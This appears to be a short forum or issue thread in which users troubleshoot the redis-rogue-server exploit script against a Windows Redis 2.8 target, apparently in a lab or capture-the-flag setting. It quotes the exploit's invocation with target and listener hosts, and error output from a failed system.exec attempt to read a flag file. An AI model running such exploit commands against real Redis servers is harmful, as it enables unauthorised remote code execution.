Error :[->] b"-ERR unknown command 'MODULE'\r\n"

[A-AFTAHI]

Update : apparently the issue is with loading the Command Execute Module because the redis command "MODULE" is not being recognized
###########################################""
I'm trying to use the script to exploit a windows x64 machine running Redis version 2.8.2402 but i keep getting an error that the "system" command is unknown so neither the interactive nor the reverse shell worked for me.
Do you have any idea why this is happening?
Below the command i executed and the output:

└─# python redis-rogue-server.py --rhost 10.10.192.11 --lhost 10.18.123.89 -v

I had the same problem as you.
-ERR Error loading the extension. Please check the server logs.
-ERR unknown command system.exec, with args beginning with: cat${IFS}/flag,
Have you solved your problem?
